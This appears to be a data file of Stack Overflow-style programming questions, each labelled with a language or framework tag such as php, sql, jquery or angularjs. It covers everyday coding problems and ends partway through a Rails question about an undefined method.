dynamically created link button event not firing after page index change  i have dynamically created link buttons in grid view and assigning event for it    <pre><code>lb.click += new eventhandler(linkbuttonclicked); </code></pre>   event is not firing if i change page index change (on click of  2  below grid view) and click on link button present in grid view.    it is working fine if i do not change the page index i.e. without clicking on  2  of grid view  clicking on link button present in grid view      i am not able to find out reason for this. please help    thanks in advance!,asp.net
determine data file format for use with ado.net  i am working with a legacy system that stores its data in individual files (1 for each table).  i can open the files with ms excel and manipulate them  so i am hoping i can manipulate the files using .net.  i am more familiar with connecting to ms sql server than anything else.    i have tried a bunch of different connection strings but i can t connect to the files  mostly because i have no idea what type of files these are.  is there a way i can work with them in ado.net without knowing the exact file type       edit: the files have the extension .dbf  and each have a counterpart file with a .cdx extension.,.net
what are common java web development practices   i d like to learn more about/better understand common java web development practices of development groups that have at least two teams - web designers and web component developers. particularly  i m interested in understanding things like:   <ol> <li> assuming there is a code repository  do all teams checkout a local copy of <em>all</em> code  if yes  why would a web designer want/need access to back-end code  similarly why would a web component developer want/need access to front-end code  </li> <li> how does each team-member  regardless of team  test their code - do they  deploy  the code to their local workstation  an individual instance on a development box  or a consolidated dev box   </li> <li> how is integration and testing done  for example  let s say a web designer creates a  sign-up  form page and web component developer creates the back-end code to process and insert the data into the db - how would the front-end and back-end code be integrated and tested  </li> </ol>   any additional information that pertains to java web development practices of development groups that i have not specifically inquired about  but is relevant  please do share.    <strong>edit (follow-up):</strong> i appreciate the answers  they ve filled in most of the conceptual holes i had about java web development. however  i do have a couple of follow-up questions -   <ol> <li> testing  particularly automated testing are clearly important parts of java web development; but what constitutes a good  test   for example  lets say a java back-end developer just put together code that accepts form data  validates it  and then inserts into/updates a database. what would be a good test in this scenario  furthermore  how could this be  automated   </li> <li> can someone expound on continuance integration - i.e. is their purpose to only compile all project code  or is it to help in automated testing  from what i understand continuance integrations servers monitor repositories for commits  and upon commits checkout the newly modified code and compile the <em>entire</em> project; upon successful/failed compilation the user(s) are notified.   </li> </ol>,java
correct order of functions  which order should these be in     <a href= https://jsfiddle.net/v8uoy1xw/2/  rel= nofollow noreferrer >https://jsfiddle.net/v8uoy1xw/2/</a>    function upto    function show(el)     function hide(el)    <strong>or this </strong>    function show(el)     function hide(el)    function upto   <pre><code>   function upto(el  selector) {      while (el.matches(selector) === false) {        el = el.parentnode;      }      return el;    }     function show(el) {      el.classlist.remove( hide );    }     function hide(el) {      el.classlist.add( hide );    } </code></pre>,javascript
how to fetch current time from internet   how to fetch current time from internet to a <code>textbox</code> using c#     i tried with following code:   <pre><code>datetime d = datetime.utcnow;  datetimeoffset dto2 = datetimeoffset.utcnow; </code></pre>   but it only returns correct date.,asp.net
html tag redirect blocking  i m using following code for just dialog box  its working fine.. but how can i stop from redirecting the same page while clicking    <pre><code>&lt;a href=   title =  this is some text &gt;[ ]&lt;/a&gt; </code></pre>   thanks in advance...,html
time remaining using timestamp in php  i have a review table where customers post a review. on posting  the data will be stored to database with the current date and time (timestamp). also i have a field with a turn around time(tat) (for eg: 48 hrs). here my tat is 48hrs from the time of posting.. i want to display the time remaining in hours and minutes based on current time. how can this be achieved..,php
restrict blur event when use enter key event  i have bind keyup event and blur event to one object. enter key is working fine. but as soon as focus lost then unnecessary blur event is firing. how can i restrict blur event when i use keyup event.    actually i need to do same operation on keyup event and blur event. user will set something either by entering or by just focus out.     here is my example.   <pre><code>$( .classname ).on({     keyup: function (e) {         if (e.keycode == 13) {             //some code         }     }      blur: function (e) {        //some code     } }); </code></pre>,jquery
how do i convert an attrs property to a boolean in angular   how do i convert <code>attrs.requireitems</code> to a boolean    <pre><code>attrs.$observe( requireitems   function(){     var val = attrs.requireitems;     ngmodel.$setvalidity( require-items   !!val); }); </code></pre>   the possible values are all strings but can be  true   false   0  or  n  (where n is the length of an array).    the problem is when its <code> 0 </code> or <code> false </code> it returns true because its a string.,angularjs
break graded css colors into bars   i d like to take a style for graded colors and make it into bars. so each bar would be a solid color  from red at the top  then slightly orange  then more orange  then even more orange  then orange  then orange but a bit yellow  etc.    has anyone figured this out as a css trick      the code i m starting from is:   <pre><code>#grad {         background: red; /* for browsers that do not support gradients */         background: -webkit-linear-gradient(red  yellow); /* for safari 5.1 to 6.0 */         background: -o-linear-gradient(red  yellow); /* for opera 11.1 to 12.0 */         background: -moz-linear-gradient(red  yellow); /* for firefox 3.6 to 15 */         background: linear-gradient(red  yellow); /* standard syntax */     } </code></pre>   <a href= https://i.stack.imgur.com/j1g3j.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/j1g3j.jpg  alt= enter image description here ></a>,css
ruby on rails strange requests  i´m checking my ruby on rails log files and i wonder why do i have request like this one (my app doesn´t have any request like this):   <pre><code>i  [2015-07-13t11:45:26.004933 #22638]  info -- : started get  /ringing.at.your.dorbell!  for 186.116.51.54 at 2015-07-13 11:45:26 +0000 f  [2015-07-13t11:45:26.005954 #22638] fatal -- : actioncontroller::routingerror (no route matches [get]  /ringing.at.your.dorbell! ):   actionpack (4.0.0) lib/action_dispatch/middleware/debug_exceptions.rb:21:in `call    actionpack (4.0.0) lib/action_dispatch/middleware/show_exceptions.rb:30:in `call    railties (4.0.0) lib/rails/rack/logger.rb:38:in `call_app    railties (4.0.0) lib/rails/rack/logger.rb:21:in `block in call    activesupport (4.0.0) lib/active_support/tagged_logging.rb:67:in `block in tagged    activesupport (4.0.0) lib/active_support/tagged_logging.rb:25:in `tagged    activesupport (4.0.0) lib/active_support/tagged_logging.rb:67:in `tagged    railties (4.0.0) lib/rails/rack/logger.rb:21:in `call    actionpack (4.0.0) lib/action_dispatch/middleware/request_id.rb:21:in `call    rack (1.5.2) lib/rack/methodoverride.rb:21:in `call    rack (1.5.2) lib/rack/runtime.rb:17:in `call    activesupport (4.0.0) lib/active_support/cache/strategy/local_cache.rb:83:in `call    railties (4.0.0) lib/rails/engine.rb:511:in `call    railties (4.0.0) lib/rails/application.rb:97:in `call    puma (2.10.1) lib/puma/configuration.rb:74:in `call    puma (2.10.1) lib/puma/server.rb:490:in `handle_request    puma (2.10.1) lib/puma/server.rb:361:in `process_client    puma (2.10.1) lib/puma/server.rb:254:in `block in run    puma (2.10.1) lib/puma/thread_pool.rb:96:in `call    puma (2.10.1) lib/puma/thread_pool.rb:96:in `block in spawn_thread  </code></pre>,ruby-on-rails
how order mysql data first letters after numbers  i have table with data like below  i tried order by many options but always somethink is wrong. my sql result:   <pre><code>select type from types order by type asn;  type 1 type 10 type 11 type 12 type 13 type 14 type 15 type 16 type 17 type 18 type 19 type 2 type 20 type 21 </code></pre>   how you see  type 2  is under type 19  i would like get result like below   <pre><code>type 1 type 2 type 10 type 11 type 12 type 13 type 14 type 15 type 16 type 17 type 18 type 19 type 20 type 21 </code></pre>   my data in table have diffrent type not always 4 letters sometimes have 3 letters but always is one space between letters and number,mysql
how to write a sql query for the following  i have 3 tables teams  players and txp    teams table has the columns teamname and teamid(primary key) players table has the columns playername and playerid(primary key) txp table has the columns playerid  teamid    i would like to write a query to get the result set as playername  teamname,sql
how to resolve charset utf8 in php   i use function <code>htmlspecialchars()</code> in php and cyrillic symbols.    i get error:   <blockquote>    message: htmlspecialchars(): charset `utf8  not supported  assuming   utf-8  </blockquote>   is there alretnative <code>htmlspecialchars()</code> or solution for this charset     <strong>php code:</strong>   <pre><code>$text  = htmlspecialchars($text  ent_quotes $charset); </code></pre>,php
new arrays and pointers  i am having a bit of trouble because i am new to c and am not even sure if what i want to do is possible.    i am passing an array called <strong>args</strong> into a function.  within the function i am also creating a 2d array called <strong>arrayofargs</strong>.  what i want to do is to put certain values from args into specific locations in the 2d array called arrayofargs.    this is my code so far:   <pre><code>int do_command(char **args){         //this is usually a changing variable depending on the situation  but i ve hard coded it to make sense         int commands = 3;         char **arrayofargs[commands][10];         //counts which column in arrayofargs we are on         int commandnum = 0;  //counts which part of a command we are on         int count = 0;      //array counters     int i = 0;     int j;      //go through args until we reach the end     while (args[i] != null){         if(!strcmp(args[i]   | )){             arrayofargs[commandnum][count] = args[i];             count++;         }         else if (strcmp(args[i]   | )) {             count = 0;             commandnum++;         }         //looking at the next value in args         i++;     } </code></pre>   i m running into problems because the only thing being put into arrayofargs is gibberish.  i m sure i ve done something wrong with either the way the arrays are pointing  the way arrayofargs was created  or both.    or is it even possible to go from a 1d to a 2d array like i m trying     i m pretty sure there is a null there because earlier i call this loop and it works:   <pre><code>for(i = 0; args[i] != null; i++) {     printf( argument %d: %s\n   i  args[i]); } </code></pre>   thanks!,c
ng-bind-html skipping styles when rendering  i want to enhance this text by making the color red:   <pre><code>free.booking =  &lt;span class= start-property-text  style= color:#ff0000; &gt;very bad!&lt;/span&gt;  </code></pre>   on the page i inject it into html:   <pre><code>&lt;span ng-bind-html= free.booking &gt;&lt;/span&gt; </code></pre>   but in the browser it only renders:   <pre><code>&lt;span ng-bind-html= free.booking  class= ng-binding &gt;      &lt;span class= start-property-text &gt;never had booking!&lt;/span&gt; &lt;/span&gt; </code></pre>   what happened to my <code>style= color:#ff0000; </code>,angularjs
content appearing below div instead of in it  i m a newbie to html  i m trying to put some orange text into a white box with an orange border. i ve got:   <pre><code>    &lt;div    style=     top: 20px;     left: 110px;     position: absolute;     z-index: 3;     visibility: show;     width: 45px;    height: 15px;    background:#ffffff;    border-color: #e2943c;     border-style: solid;     border-top-width: 1px;     border-bottom-width: 1px;     border-left-width: 1px;     border-right-width: 1px; &gt;    &lt;p&gt;      &lt;font size= -1  color= #e2943c  face= lucida sans unicode  lucida grande  sans-serif &gt; beta &lt;/font&gt; &lt;/p&gt;   &lt;/div&gt; </code></pre>   for some reason  the text is showing up beneath the box instead of in it. i m sure it is some simple stupid  error  but i can t seem to pinpoint it - does anyone have any suggestions,html
incompatible type error with objective-c code <blockquote> <pre><code>sending  forstesettfasitviewcontroller *const __strong  to parameter of incompatible type  id&lt;uiscrollviewdelegate&gt;  </code></pre> </blockquote>   here is the line where i get the semantic issue:    <pre><code>[scrollerforstfasit setdelegate:self]; </code></pre>,objective-c
how to select just parent and not inherit values  i have 3 tables. game  finalgame which extends game and participant who has list of game and list of finalgame. now i have problem. how to select just game and not finalgame. how to select participant with just game and not finalgame.    in first option i tried:   <pre><code>select * from game g where {g.id not in (select pl.game_id from play_off_table pl) } </code></pre>   but i am not sure if it is right.     in second option i tried;   <pre><code>select * from participant p left join game g1 on p.id = g1.home_participant_id </code></pre>   but this select all games including final. i have no idea how i can exclude final game   <pre><code>create table if not exists `game` (   `id` int(11) not null auto_increment    `home_participant_id` int(11) default null    `away_participant_id` int(11) default null    `status` enum( win   lose   draw ) default null    `result` varchar(50) default null    primary key (`id`)    key `home_participant_id` (`home_participant_id`)    key `away_participant_id` (`away_participant_id`) ) engine=innodb  default charset=utf8 auto_increment=10 ;   create table if not exists `play_off_game` (   `game_id` int(11) not null    `group_id` int(11) not null    `position` int(11) not null    primary key (`game_id`)    key `group_id` (`group_id`)    key `position` (`position`) ) engine=innodb default charset=utf8;  create table if not exists `participant` (   `id` int(11) not null auto_increment  ... ) engine=innodb  default charset=utf8 auto_increment=10 ; </code></pre>   update:   <pre><code>select * from participant p left join game g1 on p.id = g1.home_participant_id join play_off_game pl on g1.id = pl.game_id where p.group_id = 441 and pl.game_id is null </code></pre>   retun 0 rows   <pre><code>select * from participant p left join game g1 on p.id = g1.home_participant_id left join play_off_game pl on g1.id = pl.game_id where p.group_id = 441 and pl.game_id is null </code></pre>   return 5   <pre><code>select * from participant p left join game g1 on p.id = g1.home_participant_id left join play_off_game pl on g1.id = pl.game_id where p.group_id = 441 </code></pre>   return all participant 8 but also final game which i want to exclude,sql
"using results in one query to use in another query - orace mysql  i want to be able to use the results of the first query and place into the second query  sorry if this doesn t make much sense  im new to all of this.    first query <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>select  name    type   category   meters  from bbt_locations
 where sqrt(power((:mylocx-locx)  2) + power((:mylocy - locy) 2)) &lt; :distance;</code></pre>
 </div>
 </div>
  second query     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>select round((:distance/20)*4)as  meters ;</code></pre>
 </div>
 </div>",mysql
.net sock.beginreceive and block the endreceive  i used .net s socket.beginreceive method  while i get the data from endreceive method i use the autoresetevent.waitone block the endreceive code thread infinitely i found the beginreceive can t work; all thread were blocked ; i get nothing until the timer finished and signaled the event i can get datas again. beginreceive isn t a asynchronous method     <pre><code>var sock= new socket(addressfamily.internetwork  sockettype.stream  protocoltype.tcp);  sock.beginreceive(buffer  0  1024  socketflags.none  i =&gt; {     var sock= (socket)i.asyncstate;     int readnum=sock.endreceive(i);     var reset= new autoresetevent(false);     timer timer = new timer({ thread.sleep(1000000000); reset.set() });      reset.waitone(timeout.infinite);     time.dispose(); }  sock); </code></pre>   mere dispose the timer i must create new thread to wait!!,.net
onfling not being called in a costum view  i have costume view for  basically  running my game in a different thread (that being implemented in another class)  but although having an ontouchevent() that s called  i can t make the onfling method get called (tested trough a breakpoint).    <strong>costum view s class:</strong>   <pre><code>public class rendergameactivity extends surfaceview implements     surfaceholder.callback  gesturedetector.ongesturelistener {  private gamethread thread; private context context;  private static boolean showpausemenu;  private gesturedetector gesturescanner;  public rendergameactivity(context context) {     super(context);     this.context = context;     // adding the callback (this) to the surface holder to intercept events     getholder().addcallback(this);      // create the game loop thread     thread = new gamethread(getholder()  this);      // make the gamepanel focusable so it can handle events     setfocusable(true);      gesturescanner = new gesturedetector(context  this); }  @override public void surfacechanged(...) {}  @override public void surfacecreated(surfaceholder holder) {     thread.setname( tacticaldefence.game );     // at this point the surface is created and     // we can safely start the game loop     thread.setrunning(true);     thread.start(); }  public void surfacepaused() {     synchronized(thread) {         thread.setrunning(false);         try {             thread.wait();         } catch (interruptedexception e) {             e.printstacktrace();         }     } }  @override public void surfacedestroyed(surfaceholder holder) {     thread.setrunning(false);      // tell the thread to shut down and wait for it to finish     // this is a clean shutdown     boolean retry = true;     while (retry) {         try {             thread.join();             retry = false;         } catch (interruptedexception e) {             // try again shutting down the thread         }     } }  @override public boolean ontouchevent(motionevent event) {     game.ontouchevent(event);     return gesturescanner.ontouchevent(event); }  public void render(canvas canvas) {     game.ondraw(context  canvas);     // display fps     if(isindebug.isindebugmode(context)) displayfps(canvas  avgfps); }  /**  * this is the game update method. it iterates through all the objects  * and calls their update method if they have one or calls specific  * engine s update method.  */ public void update() { game.onupdate();}  /*...*/  @override public boolean onfling(motionevent e1  motionevent e2  float velocityx  float velocityy) {     return game.onfling(e1  e2  velocityx  velocityy); } } </code></pre>   sorry if it s too much code  but i feel that i have to post it because i don t which part will be useful...,android
mysql optimization: can someone expalain why one query is working faster than inner join  so there are two queries. why first is running much faster than second  how can i optimize my inner join to be as fast as the first one      total records more than 4 000 000    idterminals is indexed   <pre><code> select (select name            from terminals            where terminals.idterminals = analyzeprofitresults.idterminals)          currency           count(*)  from analyzeprofitresults group by analyzeprofitresults.idterminals currency;   select name          currency           count(*)  from analyzeprofitresults inner join terminals on terminals.idterminals = analyzeprofitresults.idterminals group by analyzeprofitresults.idterminals currency;      </code></pre>   the results are same:   <pre><code> name currency count(*)  buy or sell  eurusd 235105  buy or sell  gbpusd 14515  buy or sell  usdjpy 235298  very strict  audjpy 234787  very strict  audusd 235298  very strict  chfjpy 235298  very strict  eurjpy 235298  very strict  eurusd 235298  very strict  gbpjpy 235298  very strict  gbpusd 235298  very strict  nzdusd 235298  very strict  usdchf 235298  very strict  usdjpy 235298   normal  audjpy 235298   normal  audusd 36391   normal  eurusd 234985   normal  gbpjpy 117649   normal  nzdusd 198552   normal  usdchf 235298   normal  usdjpy 235298  </code></pre>,mysql
can someone explain how to filter preg_match php  okay so i am trying to use <code>preg_match()</code> in php and i would like to only filter letters and white space. but i dont understand the filtering part. so this is what i have. so this would echo false currently but how would i allow spaces and capital letters    <pre><code>$usertest =  username is cheese ;  if (preg_match( /[a-z]/   $usertest)) {     echo  true ; } else {     echo  false ; } </code></pre>,php
java client-server chat (server not receiving string)  trying to make a simple client server chat program. i ve already go it so that the server reads a user input which is then sent to the client. the client then receives this and displays it. i then have the client reading the user input and sending it to the server however the server doesn t receive it. heres my code:    client:   <pre><code>import java.lang.*; import java.io.*; import java.net.*; import java.util.scanner;   class client {    public static void main(string args[]) {       try {          socket skt = new socket( localhost   1234);          bufferedreader in = new bufferedreader(new          inputstreamreader(skt.getinputstream()));          system.out.print( waiting for server to respond... \n );           while (!in.ready()) {}          system.out.print( received message:  );          system.out.println(in.readline()); // read one line and output it           system.out.print( \n );          //in.close();           system.out.print( message: );          scanner sc = new scanner (system.in);          string data2 = sc.nextline();          printwriter out = new printwriter(skt.getoutputstream()  true);          system.out.print( sending message:    + data2 +   \n );          out.print(data2);          out.close();         }       catch(exception e) {          system.out.print( whoops! it didn t work!\n );       }    } } </code></pre>   server:   <pre><code>import java.lang.*; import java.io.*; import java.net.*; import java.util.scanner;    class server {      public static void main(string args[]) {        try {          system.out.println( waiting for client connection... );          serversocket srvr = new serversocket(1234);          socket skt = srvr.accept();          system.out.println( client has connected!\n );          system.out.print( message: );          scanner sc = new scanner (system.in);          string data = sc.nextline();          printwriter out = new printwriter(skt.getoutputstream()  true);          system.out.print( sending message:    + data +   \n );          out.print(data);           bufferedreader in = new bufferedreader(new          inputstreamreader(skt.getinputstream()));            while (!in.ready()) {out.close();}                system.out.print( received message:  );          system.out.println(in.readline()); // read one line and output it          system.out.print( \n );            //in.close();           //in.close();          //out.close();          //skt.close();          //srvr.close();       }       catch(exception e) {          system.out.print( whoops! it didn t work!\n );       }    } } </code></pre>   both the client and the server use the same code for send/receive so i don t understand why the server won t receive.    cheers     tom,java
struct casting behavior different between for and foreach loops  i came across this bizarre situation just now: i was editing some legacy code which looks something like this:   <pre><code>hashtable hashtable = gethashtable();  for (int i = 0; i &lt; hashtable.count; i++) {     mystruct mystruct = (mystruct)hashtable[i];      //more code } </code></pre>   now when changing this to a <code>foreach</code> loop:   <pre><code>var hashtable = gethashtable();  foreach (var item in hashtable) {     var mystruct = (mystruct)item;      //more code } </code></pre>   i had assumed the behavior would be the same  however  i get <code>system.invalidcastexception: specified cast is not valid.</code>    what is the reason for this different behavior,c#
sql query to update a column via phpmyadmin  i have a large  scores  table that resembles the following:   <pre><code>quizid    userid      score     high_score 1         john        50        0 1         bob         60        0 1         bob         65        0 1         steve       40        0 2         bob         20        0 2         bob         30        0 2         bob         15        0 </code></pre>   current the  high_score  column is  0  as it was just added.  what i need to do is make a simple query to flag this column with a  1  for every instance where a user s score for each quiz is the highest one that user has for that quiz - i.e. after running the query i should have this:   <pre><code>quizid    userid      score     high_score 1         john        50        1 1         bob         60        0 1         bob         65        1 1         steve       40        1 2         bob         20        0 2         bob         30        1 2         bob         15        0 </code></pre>   any help would be appreciated!,sql
what is happening with my data  as i recover them from sqlite   unfortunately i have some speed data saved as text in sqlite. i wish to select the max speed for every userid  and this is making it hard for me. when i try to output max(speed) on my list after i have retrieved it i get a value that is not present in my database.    so  here is how i retrieve my data:   <pre><code>def getmaxspeed(databasepath  id):     con = lite.connect(databasepath)     speeds = []     with con:         cur = con.execute( select speed from table where userid = {userid} .format(userid=id))     speed = [x[0] for x in cur]     for i in range(0 len(speed)):         speeds.append(float(speed[i]))     return speeds </code></pre>   sample (cropped) output before the for-loop:   <pre><code>[u 0.00   u 0.20   u 0.20   u 0.20   u 0.10   u 0.20   u 0.10   u 0.10   u 0.20   u 13.60   u 12.30   u 12.20   u 12.30   u 12.20   u 13.00   u 13.00   u 13.00   u 13.00   u 13.60   u 13.60   u 13.70   u 14.00   u 13.10   u 6.90   u 7.50   u 7.60   u 7.70   u 6.00   u 5.90   u 8.10   u 8.10   u 8.10   u 8.30   u 8.20   u 4.60   u 1.70   u 1.70   u 3.10   u 3.90   u 3.60   u 3.50   u 3.50   u 3.30   u 3.30   u 3.30   u 2.00   u 2.00   u 2.10   u 2.10   u 3.70   u 3.60   u 3.50   u 3.50   u 3.30   u 6.00   u 4.20   u 4.20   u 4.30   u 4.20   u 4.30   u 4.30   u 4.20   u 4.20   u 4.70   u 4.80   u 5.00   u 6.40   u 6.40   u 5.10   u 5.10   u 2.20   u 2.20   u 2.20   u 2.20   u 0.00   u 0.10   u 0.10   u 0.30   u 0.10   u 0.10   u 0.10   u 0.20   u 0.00   u 13.20   u 10.50   u 10.50 ] </code></pre>   sample (cropped) output after the for loop:   <pre><code>[0.0  0.2  0.2  0.2  0.1  0.2  0.1  0.1  0.2  13.6  12.3  12.2  12.3  12.2  13.0  13.0  13.0  13.0  13.6  13.6  13.7  14.0  13.1  6.9  7.5  7.6  7.7  6.0  5.9  8.1  8.1  8.1  8.3  8.2  4.6  1.7  1.7  3.1  3.9  3.6  3.5  3.5  3.3  3.3  3.3  2.0  2.0  2.1  2.1  3.7  3.6  3.5  3.5  3.3  6.0  4.2  4.2  4.3  4.2  4.3  4.3  4.2  4.2  4.7  4.8  5.0  6.4  6.4  5.1  5.1  2.2  2.2  2.2  2.2  0.0  0.1  0.1  0.3  0.1  0.1  0.1  0.2  0.0  13.2  10.5  10.5] </code></pre>   main method:   <pre><code>speed = [] for id in userid:     speed = getmaxspeed(dbpath  id)     for x in speed:         if x &gt; 40:            print x            print id            break </code></pre>   the last for loop is just to do some checking for erroneous data. it outputs a lot of different id s where every speed equal 102.3. i expect my speeds to be between 0 and 30.     sample output:   <pre><code>102.3 209407000 </code></pre>   so  to check this is go back to my database and do:   <pre><code>select distinct speed from table where userid = 209407000 </code></pre>   it outputs a lot of speeds <a href= http://pastebin.com/bee5tpkz  rel= nofollow >http://pastebin.com/bee5tpkz</a>   no one near 102.3. so  something is happening in my retrieval method - but what  i m having one of these days where everything just go wrong.,python
jquery multiple dropdownlist validation  i have n number of dropdownlists with the same options and values.     i want to validate it  that only the unique value could be selected among these n dropdownlists. n is random number.     example:    i have 3 ddl with these values:   <pre><code>&lt;select&gt; &lt;option value= apple  selected= yes &gt; apple &lt;/option&gt; &lt;option value= carrots &gt; carrots &lt;/option&gt; &lt;option value= potatoes &gt; potatoes &lt;/option&gt; &lt;/select&gt; </code></pre>   and i want to have unique selected values for each dropdownlist  so if you select apples and try to select apples again on another ddl  it changes a previous one to the available value or prompts an alert..,jquery
jquery disabling image when a click event not working <pre><code>  $( .input_control ).attr( disabled   true); </code></pre>   i am doing this for prev or next.prev is image.user click prev img then it goes to query and load files but here user is clicking continously and it freezes the screen    swap and add some greyed image.i am doing this to prevent continuous click s. user click image and i disable it and enable it after success load of file.,jquery
would you always create a variable for new objects   a question i often ask myself  if you need to call one method on an object  is it best practice to use a variable  thus far i ve guessed the answer is yes - what s your choice  and reasons for it     with variable:   <pre><code>myobject mo = new myobject(); mo.mymethod(); //mo not used again </code></pre>   without variable:   <pre><code>new myobject().mymethod(); </code></pre>   i m particularly interested in .net  however if there are any danger points in other languages i d also prefer to be forewarned.,.net
"align mobile button to the right is not working  how to align the mobile btn to the right  im using justify-content-between in the row div but its not working.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>header {
     background-color: orange;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;header&gt;
     &lt;div class= container &gt;
         &lt;div class= row align-items-center justify-content-between &gt;
             &lt;div class= col &gt;
                 &lt;h1 class=  header__logo &gt;logo&lt;/h1&gt;&lt;/div&gt;
             &lt;div class= col &gt;
                 &lt;div class= header__mobile &gt;
                     &lt;a href=   class= header__mobile_btn &gt;&lt;i class= fa fa-bars  aria-hidden= true &gt;&lt;/i&gt;&lt;/a&gt;
                     &lt;ul class= header__mobile_list d-none &gt;
                         &lt;li&gt;&lt;a href=  &gt;item 1&lt;/a&gt;&lt;/li&gt;
                         &lt;li&gt;&lt;a href=  &gt;item 2&lt;/a&gt;&lt;/li&gt;
                       
                     &lt;/ul&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
         &lt;/div&gt;
     &lt;/div&gt;
     &lt;/header&gt;</code></pre>
 </div>
 </div>",css
how can i close a second form   how can i close a second form from another form in c#      i use this in form1  but it does not work.   <pre><code>form2 form2 = new form2();  form2.close(); </code></pre>   what s wrong,c#
is there .net native way to auto map properties of a source and target object   is there a native .net way to auto map properties of a source and target object by the properties names      i know that i can use automapper or build a mapping function myself  but i am looking for a way that is part of the native framework  like <a href= https://msdn.microsoft.com/en-us/library/system.data.entity.database.sqlquery(v=vs.113).aspx  rel= nofollow noreferrer >database.sqlquery method</a> that map between sp result to an object  but i need a way to do it for 2 non database object. just between 2 pocos.,.net
iphone title label/textbox text wrapping   i have a pstitlevaluespecifier field in my application s settings that displays a long character string.    after about 20 digits it gets cut off and i d like to wrap the text or increase the height of the field so that any amount of characters can be displayed. can this be accomplished  if so  how,iphone
vertically center floating div elements using css only  so  i am trying to create a generic navbar which i can reuse. the navbar has left and right sub-elements which are floating left and right respectively.    the problem is height of the left and right sub elements is variable depending upon the content inside(due to different font size icon use and some other elements).    i have seen a lot of table and psuedo elements methods that work great for non floating divs.    currently i am using jquery to calculate the height and use position absolute method to solve this issue.    is there any way to achieve it using clean css    <pre><code>&lt;div class= navbar &gt;   &lt;ul class= nav-left &gt;&lt;/ul&gt; //float: left  &lt;ul class= nav-right &gt;&lt;/ul&gt; //float: right &lt;/div&gt; </code></pre>   edit    i found a way to not apply float to both the elements so it gets rid off position absolute method here is jsfiddle link <a href= http://jsfiddle.net/dyrotn71/  rel= nofollow >http://jsfiddle.net/dyrotn71/</a>,css
angular directive load orders: unknown provider when used in controller  i am trying to use a directive  <code>click-anywhere-but-here</code>  in my header html  using controller <code>navctrl</code>. angular is throwing error:   <blockquote>    unknown provider: clickanywherebuthereprovider &lt;-  </blockquote>   i m thinking this has to do with how i m using <code>gulp</code> to concatenate the js files. i checked the concatenated <code>main.js</code> files with all js  and see that <code>navctrl</code> is defined above the <code>clickanywherebuthere</code> directive. not sure if this matters at all since the controller isn t using the directive at all  only the <code>header.html</code> file.   <pre><code>&lt;header ng-controller= navctrl &gt;   &lt;a click-anywhere-but-here= clickedsomewhereelse()  ng-click= clickedhere() &gt;     &lt;li&gt;study&lt;/li&gt;   &lt;/a&gt; &lt;/header&gt; </code></pre>   how can i force the header to wait until <code>clickanywherebuthere</code> directive is loaded before complaining    <hr>   <strong>edit</strong>: code:    <code>navctrl.js</code>: i ve gutted out a lot of the unrelated code   <pre><code>angular     .module( dde )     .controller( navctrl   [ $rootscope    $location    $scope    modal    auth    $window    $state    devicedetector           function($rootscope  $location  $scope  modal  auth  $window  $state  devicedetector) {              $scope.clicked =   ;             $scope.clickedhere = function(){                 $scope.clicked =  stop that ;                 console.log( clicked on element );             };             $scope.clickedsomewhereelse = function(){                 console.log( clicked elsewhere );                 $scope.clicked =  thanks ;             };              $scope.headings = [                 {page:  contact   route:  #/contact }             ];         }     ]); </code></pre>   <code>clickanywherebuthere.js</code> directive:    <pre><code>angular.module( dde ) .directive( clickanywherebuthere   function($document  clickanywherebuthereservice){     return {         restrict:  a           link: function(scope  elem  attr  ctrl) {             var handler = function(e) {                 e.stoppropagation();             };             elem.on( click   handler);              scope.$on( $destroy   function(){                 elem.off( click   handler);             });              clickanywherebuthereservice(scope  attr.clickanywherebuthere);         }     }; }); </code></pre>   <code>clickanywherebuthereservice.js</code> service:   <pre><code>angular.module( dde ) .factory( clickanywherebuthereservice   function($document){     var tracker = [];      return function($scope  expr) {         var i  t  len;         for(i = 0  len = tracker.length; i &lt; len; i++) {             t = tracker[i];             if(t.expr === expr &amp;&amp; t.scope === $scope) {                 return t;             }         }         var handler = function() {             $scope.$apply(expr);         };          $document.on( click   handler);          // important! tear down this event handler when the scope is destroyed.         $scope.$on( $destroy   function(){             $document.off( click   handler);         });          t = { scope: $scope  expr: expr };         tracker.push(t);         return t;     }; }); </code></pre>   both the directive and service are present in my <code>min</code> file:    <a href= https://i.stack.imgur.com/feayw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/feayw.png  alt= enter image description here ></a>    <a href= https://i.stack.imgur.com/xag9d.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/xag9d.png  alt= enter image description here ></a>,angularjs
add space between text and line in <li><a> element  i ve looked at various solutions in regards to this question  but they don t seem to apply.    this is my simple html code:   <pre><code>&lt;ul&gt; &lt;li&gt;&lt;a href= index.php &gt;home&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= games.php &gt;games&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= trivia.php &gt;trivia&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   how do i increase the space between the text and the line underneath it,html
inspect shows record but still get undefined method  i m creating a report screen  and doing my relationship lookups for the associated data.  for some reason i keep getting errors when trying to get an attribute of the relationship  yet .inspect shows the information plain as day.   <pre><code>orders_detail.products_cost.flavor.inspect </code></pre>   outputs   <pre><code> #&lt;flavor flavor_id: 13  identifier:  br   description:  blue razz &gt; </code></pre>   however   <pre><code>orders_detail.products_cost.flavor.flavor_id </code></pre>   outputs   <pre><code>undefined method `flavor_id  for nil:nilclass </code></pre>   models   <pre><code>class ordersdetail &lt; activerecord::base     self.table_name =  orders_detail      belongs_to :orders_header  foreign_key:  order_header_id      belongs_to :address      belongs_to :products_cost     belongs_to :machine  foreign_key:  machine_id  end    class productscost &lt; activerecord::base         self.table_name =  products_cost          belongs_to :product         belongs_to :size         belongs_to :units_of_measure  foreign_key:  uom_id          belongs_to :flavor           validates :product_id  :presence =&gt; true         validates :flavor_id  :presence =&gt; true         validates :size_id  :presence =&gt; true         validates :uom_id  :presence =&gt; true  end   class flavor &lt; activerecord::base     has_many :product_costs end 